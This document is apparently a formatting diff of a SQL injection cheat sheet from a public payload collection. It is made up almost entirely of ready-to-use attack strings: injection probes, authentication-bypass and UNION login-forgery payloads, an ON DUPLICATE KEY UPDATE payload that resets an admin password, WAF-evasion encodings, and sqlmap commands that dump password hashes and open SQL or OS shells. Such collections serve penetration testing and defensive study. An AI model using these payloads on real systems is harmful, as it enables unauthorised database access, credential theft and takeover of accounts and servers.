Markdown formatting update

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# SQL injection
A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application
## Summary
* [CheatSheet MSSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20injection/MSSQL%20Injection.md)
* [CheatSheet MySQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20injection/MySQL%20Injection.md)
* [CheatSheet OracleSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20injection/OracleSQL%20Injection.md)
@@ -16,10 +18,11 @@ A SQL injection attack consists of insertion or "injection" of a SQL query via t
* [Insert Statement - ON DUPLICATE KEY UPDATE](#insert-statement---on-duplicate-key-update)
* [WAF Bypass](#waf-bypass)
## Entry point detection
Detection of an SQL injection entry point
Simple characters
```sql
'
%27
@@ -34,12 +37,14 @@ Wildcard (*)
```
Multiple encoding
```sql
%%2727
%25%27
```
Merging characters
```sql
`+HERP
'||'DERP
@@ -50,7 +55,8 @@ Merging characters
```
Logic Testing
```
```sql
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
@@ -58,7 +64,8 @@ page.asp?id=1 and 1=2 -- false
```
Weird characters
```
```sql
Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (")
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
@@ -66,6 +73,7 @@ transformed into U+0027 APOSTROPHE (')
```
## DBMS Identification
```c
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
@@ -94,27 +102,31 @@ transformed into U+0027 APOSTROPHE (')
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
```
## SQL injection using SQLmap
Basic arguments for SQLmap
```
```powershell
sqlmap --url="<url>" -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs
```
Custom injection in UserAgent/Header/Referer/Cookie
```
```powershell
python sqlmap.py -u "http://example.com" --data "username=admin&password=pass" --headers="x-forwarded-for:127.0.0.1*"
The injection is located at the '*'
```
Second order injection
```
```powershell
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```
Shell
```
```powershell
SQL Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --sql-shell
@@ -126,12 +138,14 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
Using suffix to tamper the injection
```
```powershell
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
```
General tamper option and tamper's list
```
```powershell
tamper=name_of_the_tamper
```
@@ -184,6 +198,7 @@ tamper=name_of_the_tamper
|xforwardedfor.py | Append a fake HTTP header 'X-Forwarded-For'|
## Authentication bypass
```sql
'-'
' '
@@ -277,19 +292,22 @@ admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
```
## Polyglot injection (multicontext)
```sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
```
## Second order injection
## Routed injection
```sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
```
## Insert Statement - ON DUPLICATE KEY UPDATE
ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by:
```sql
Inject using payload:
attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --
@@ -303,10 +321,10 @@ Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL
After this, we can simply authenticate with admin@example.com and the password qwerty!
```
## WAF Bypass
No Space (%20) - bypass using whitespace alternatives
```sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
@@ -317,16 +335,19 @@ No Space (%20) - bypass using whitespace alternatives
```
No Whitespace - bypass using comments
```sql
?id=1/*comment*/and/**/1=1/**/--
```
No Whitespace - bypass using parenthesis
```sql
?id=(1)and(1)=(1)--
```
No Comma - bypass using OFFSET, FROM and JOIN
```sql
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
@@ -334,6 +355,7 @@ SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELE
```
Blacklist using keywords - bypass using uppercase/lowercase
```sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
@@ -341,6 +363,7 @@ Blacklist using keywords - bypass using uppercase/lowercase
```
Blacklist using keywords case insensitive - bypass using an equivalent operator
```sql
AND -> &&
OR -> ||
@@ -350,6 +373,7 @@ WHERE -> HAVING
```
Information_schema.tables Alternative
```sql
select * from mysql.innodb_table_stats;
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
@@ -367,10 +391,10 @@ mysql> show tables in dvwa;
| guestbook |
| users |
+----------------+
```
Version Alternative
```sql
mysql> select @@innodb_version;
+------------------+
@@ -394,37 +418,36 @@ mysql> mysql> select version();
+-------------------------+
```
## Thanks to - Other resources
* Detect SQLi
- [Manual SQL Injection Discovery Tips](https://gerbenjavado.com/manual-sql-injection-discovery-tips/)
- [NetSPI SQL Injection Wiki](https://sqlwiki.netspi.com/)
* [Manual SQL Injection Discovery Tips](https://gerbenjavado.com/manual-sql-injection-discovery-tips/)
* [NetSPI SQL Injection Wiki](https://sqlwiki.netspi.com/)
* MySQL:
- [PentestMonkey's mySQL injection cheat sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet)
- [Reiners mySQL injection Filter Evasion Cheatsheet] (https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/)
- [Alternative for Information_Schema.Tables in MySQL](https://osandamalith.com/2017/02/03/alternative-for-information_schema-tables-in-mysql/)
- [The SQL Injection Knowledge base](https://websec.ca/kb/sql_injection)
* [PentestMonkey's mySQL injection cheat sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet)
* [Reiners mySQL injection Filter Evasion Cheatsheet] (https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/)
* [Alternative for Information_Schema.Tables in MySQL](https://osandamalith.com/2017/02/03/alternative-for-information_schema-tables-in-mysql/)
* [The SQL Injection Knowledge base](https://websec.ca/kb/sql_injection)
* MSSQL:
- [EvilSQL's Error/Union/Blind MSSQL Cheatsheet] (http://evilsql.com/main/page2.php)
- [PentestMonkey's MSSQL SQLi injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet)
* [EvilSQL's Error/Union/Blind MSSQL Cheatsheet] (http://evilsql.com/main/page2.php)
* [PentestMonkey's MSSQL SQLi injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet)
* ORACLE:
- [PentestMonkey's Oracle SQLi Cheatsheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet)
* [PentestMonkey's Oracle SQLi Cheatsheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet)
* POSTGRESQL:
- [PentestMonkey's Postgres SQLi Cheatsheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet)
* [PentestMonkey's Postgres SQLi Cheatsheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet)
* Others
- [SQLi Cheatsheet - NetSparker](https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/)
- [Access SQLi Cheatsheet] (http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
- [PentestMonkey's Ingres SQL Injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/ingres-sql-injection-cheat-sheet)
- [Pentestmonkey's DB2 SQL Injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet)
- [Pentestmonkey's Informix SQL Injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/informix-sql-injection-cheat-sheet)
- [SQLite3 Injection Cheat sheet] (https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet)
- [Ruby on Rails (Active Record) SQL Injection Guide] (http://rails-sqli.org/)
- [ForkBombers SQLMap Tamper Scripts Update](http://www.forkbombers.com/2016/07/sqlmap-tamper-scripts-update.html)
- [SQLi in INSERT worse than SELECT](https://labs.detectify.com/2017/02/14/sqli-in-insert-worse-than-select/)
- [Manual SQL Injection Tips](https://gerbenjavado.com/manual-sql-injection-discovery-tips/)
* [SQLi Cheatsheet - NetSparker](https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/)
* [Access SQLi Cheatsheet] (http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
* [PentestMonkey's Ingres SQL Injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/ingres-sql-injection-cheat-sheet)
* [Pentestmonkey's DB2 SQL Injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet)
* [Pentestmonkey's Informix SQL Injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/informix-sql-injection-cheat-sheet)
* [SQLite3 Injection Cheat sheet] (https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet)
* [Ruby on Rails (Active Record) SQL Injection Guide] (http://rails-sqli.org/)
* [ForkBombers SQLMap Tamper Scripts Update](http://www.forkbombers.com/2016/07/sqlmap-tamper-scripts-update.html)
* [SQLi in INSERT worse than SELECT](https://labs.detectify.com/2017/02/14/sqli-in-insert-worse-than-select/)
* [Manual SQL Injection Tips](https://gerbenjavado.com/manual-sql-injection-discovery-tips/)
* Second Order:
- [Analyzing CVE-2018-6376 Joomla!, Second Order SQL Injection](https://www.notsosecure.com/analyzing-cve-2018-6376/)
- [Exploiting Second Order SQLi Flaws by using Burp & Custom Sqlmap Tamper](https://pentest.blog/exploiting-second-order-sqli-flaws-by-using-burp-custom-sqlmap-tamper/)
* [Analyzing CVE-2018-6376 Joomla!, Second Order SQL Injection](https://www.notsosecure.com/analyzing-cve-2018-6376/)
* [Exploiting Second Order SQLi Flaws by using Burp & Custom Sqlmap Tamper](https://pentest.blog/exploiting-second-order-sqli-flaws-by-using-burp-custom-sqlmap-tamper/)
* Sqlmap:
- [#SQLmap protip @zh4ck](https://twitter.com/zh4ck/status/972441560875970560)
* [#SQLmap protip @zh4ck](https://twitter.com/zh4ck/status/972441560875970560)